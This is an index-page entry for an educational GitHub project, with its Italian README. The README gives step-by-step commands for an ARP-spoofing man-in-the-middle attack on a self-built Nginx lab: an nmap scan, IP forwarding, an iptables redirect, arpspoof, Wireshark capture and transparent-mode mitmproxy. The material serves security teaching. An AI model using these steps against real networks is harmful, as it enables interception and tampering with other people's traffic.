Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/senapedev/mitm-arpspoofing
Cybersecurity project demonstrating Man-in-the-Middle attacks through ARP spoofing, intercepting and manipulating network traffic.
https://github.com/senapedev/mitm-arpspoofing
cybersecurity-education docker mitm mitmproxy nginx wireshark
Last synced: 29 days ago
JSON representation
Cybersecurity project demonstrating Man-in-the-Middle attacks through ARP spoofing, intercepting and manipulating network traffic.
- Host: GitHub
- URL: https://github.com/senapedev/mitm-arpspoofing
- Owner: SenapeDev
- License: mit
- Created: 2024-10-24T21:17:12.000Z (3 months ago)
- Default Branch: main
- Last Pushed: 2024-11-17T17:11:23.000Z (2 months ago)
- Last Synced: 2024-12-21T23:48:33.520Z (29 days ago)
- Topics: cybersecurity-education, docker, mitm, mitmproxy, nginx, wireshark
- Language: PHP
- Homepage:
- Size: 48.8 KB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# Attacco Man-in-the-Middle tramite ARP spoofing
Questo progetto esplora tecniche di attacco Man-in-the-Middle tramite ARP spoofing, con l'obiettivo di intercettare, analizzare e modificare il traffico di rete tra un client e un server.- [Configurazione del server](#1-configurazione-del-server)
- [Configurazione del MitM](#2-Configurazione-del-MitM)Want to read this in [English](README_EN.md)?
## 1. Configurazione del server
### 1.1 Installazione di Nginx
```
$ sudo apt install nginx -y
```### 1.2 Generazione del certificato self-signed
Creare una directory per i certificati SSL:```
$ sudo mkdir -p /etc/nginx/ssl
```Generare un certificato self-signed con OpenSSL:
```
$ sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/nginx/ssl/nginx-selfsigned.key \
-out /etc/nginx/ssl/nginx-selfsigned.crt
```**Descrizione dei parametri**:
- `-x509`: crea un certificato in formato x509.
- `-nodes`: disabilita la richiesta di una passphrase per la chiave privata.
- `-days 365`: imposta la durata del certificato a 365 giorni.
- `-newkey rsa:2048`: genera una nuova chiave RSA a 2048 bit.### 1.3 Configurazione di Nginx
```
$ sudo nano /etc/nginx/sites-available/default
```Aggiungere la seguente configurazione, sostituendo `` con l'indirizzo IP del server:
```
server {
listen 80 default_server;
listen [::]:80 default_server;
server_name ;# Reindirizzamento da HTTP a HTTPS
return 301 https://$host$request_uri;
}server {
listen 443 ssl;
server_name ;ssl_certificate /etc/nginx/ssl/nginx-selfsigned.crt;
ssl_certificate_key /etc/nginx/ssl/nginx-selfsigned.key;location / {
proxy_pass http://localhost:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
}
```### 1.4 Verifica e riavvio di Nginx
Verificare la configurazione e riavviare il servizio:```
$ sudo nginx -t
$ sudo systemctl restart nginx
```### 1.5 Avvio dei container Docker
Clonare la repository e avviare i container:```
$ git clone https://github.com/SenapeDev/MitM-ARPspoofing.git
$ cd server
$ docker compose up --build -d
```### 1.6 Gestione della modalità HTTPS
Per attivare o disattivare HTTPS tramite Makefile:```
$ make https-on
$ make https-off
```
- `https-on`: attiva il reindirizzamento verso HTTPS.
- `https-off`: disattiva il reindirizzamento HTTPS, tornando a HTTP.
---## 2. Configurazione del MitM
### 2.1 Installazione di Nmap
```
$ sudo apt install nmap -y
```### 2.2 Scansione della rete locale con Nmap
Per trovare gli indirizzi l'indirizzo IP dell'host che ospita il sito web all'interno della rete locale, eseguire:```
$ nmap -p 80,443 --open -sV
```**Descrizione dei parametri**:
- `-sV` rileva i servizi attivi e tenta di identificare l’applicazione web in esecuzione.
- `--open` mostra solo gli host con porte aperte.
- `` è il range degli indirizzi IP in cui viene effettuata la scansione.### 2.3 Abilitazione del packet forwarding
Abilitare il packet forwarding per consentire la ritrasmissione dei pacchetti tra server e vittima:```
# echo 1 > /proc/sys/net/ipv4/ip_forward
```### 2.4 Configurazione di iptables per la redirezione del traffico
Reindirizzare il traffico HTTP verso la porta 8080 (utilizzata da `mitmproxy`):```
$ sudo iptables -t nat -A PREROUTING -p tcp -s --dport 80 -j REDIRECT --to-port 8080
```Questo comando utilizza la tabella `nat` di iptables per redirigere il traffico destinato alla porta 80 all’indirizzo specificato, verso la porta 8080. Le modifiche non sono permanenti e saranno rimosse al riavvio.
### 2.5 Verifica delle regole impostate
Per verificare le regole `iptables` attive:```
$ sudo iptables -t nat -L -v -n
```Il comando elenca tutte le regole impostate nella tabella `nat` di iptables con dettagli (`-v`) e senza risoluzione di nomi (`-n`).
### 2.6 Installazione di dsniff
Installare `dsniff` per eseguire l’ARP spoofing:```
$ sudo apt install dsniff
```### 2.7 Esecuzione di ARP Poisoning
Utilizzare `arpspoof` per ingannare la vittima e farle credere di comunicare con il server:```
# arpspoof -i -t
```Questo comando invia pacchetti ARP all'indirizzo IP della vittima (``) per impostare l'indirizzo `` (il server impersonato) come mittente, sfruttando l'interfaccia di rete specificata (``).
### 2.8 Installazione di Wireshark
Per catturare e analizzare il traffico di rete, installare Wireshark:```
$ sudo apt install wireshark -y
```### 2.9 Intercettazione di pacchetti con Wireshark
Avviare Wireshark per catturare il traffico:```
$ sudo wireshark
```### 2.10 Installazione di mitmproxy
Installare `mitmproxy` per manipolare le richieste:```
$ pip install mitmproxy
```### 2.11 Installazione dello script per mitmproxy
```
$ git clone https://github.com/SenapeDev/MitM-ARPspoofing.git
```
### 2.12 Intercettazione e modifica delle richieste con mitmproxy
Eseguire `mitmproxy` in modalità trasparente per intercettare e modificare il traffico HTTP:```
$ cd mitm
$ mitmproxy -s main.py --mode transparent
```Questo comando avvia `mitmproxy` in modalità trasparente (`--mode transparent`) per intercettare il traffico senza configurazioni sul client.